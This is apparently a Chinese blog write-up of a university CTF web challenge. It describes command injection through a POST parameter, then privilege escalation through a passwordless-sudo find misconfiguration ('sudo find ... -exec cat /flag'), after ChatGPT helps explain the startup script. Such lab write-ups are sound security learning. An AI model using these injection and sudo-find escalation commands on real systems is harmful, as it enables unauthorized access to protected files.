HNZUCTF findme

这次参加了杭师范的CTF比赛,来感受一下别人家的校赛web题,java和nodejs都不是很会,只能做做第一题,我还是太菜了()。算了,来看看题:

 那就用hackbar直接post一个shit=1看看效果:

 执行文件的路径不存在?既然这么说了直接看看根目录

shit=/bin/ls /

 里面有flag,直接cat一下发现没有权限(果然没那么简单),那么接下来就要提权

看到根目录里面还有个start.sh,打开看看

shit=/bin/cat /start.sh

 这个文件会在docker容器创建的时候运行,看来是个切入点,交给chatgpt看看,它这么说

这个脚本创建了一个名为“ctf”的新用户,然后将该用户添加到sudoers文件中,
允许其在不需要输入密码的情况下执行“/usr/bin/find”命令。
接下来,该脚本使用“su”命令切换到“ctf”用户,并执行“/main”命令。
请注意,这个脚本假设在系统中有一个名为“main”的可执行文件,
而且没有考虑到“ctf”用户的密码设置,如果密码没有设置或输入错误,
执行su命令时将无法切换到“ctf”用户。同时,赋予用户“ctf”对“find”命令的sudo访问权限需要谨慎使用,
因为这可能会导致潜在的安全风险。

果然是切入点,既然find有管理员权限就用find来提权。果然拿到了管理员权限。

shit=usr/bin/sudo find /tmp -name "随便一个tmp里的文件" -exec whoami \;

 然后就是直接cat /flag了

shit=usr/bin/sudo find /tmp -name "随便一个tmp里的文件" -exec cat /flag \;

 这次比赛,虽然我写出的题目不多,但收获还是很多的,杭师范的题目中docker,java后端,nodejs都比较接近于现实开发,其中漏洞也是根据现实生活中存在的漏洞来的。这也更让我明白如果不掌握正向的开发的话,逆向的安全也无从谈起。我作为一个对安全比较感兴趣的开发专业的学生,在掌握开发之前就接触了很多安全漏洞,实际上这只是是浮于表面的。所以今后我也会更加注重对开发的学习,先正向后逆向。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值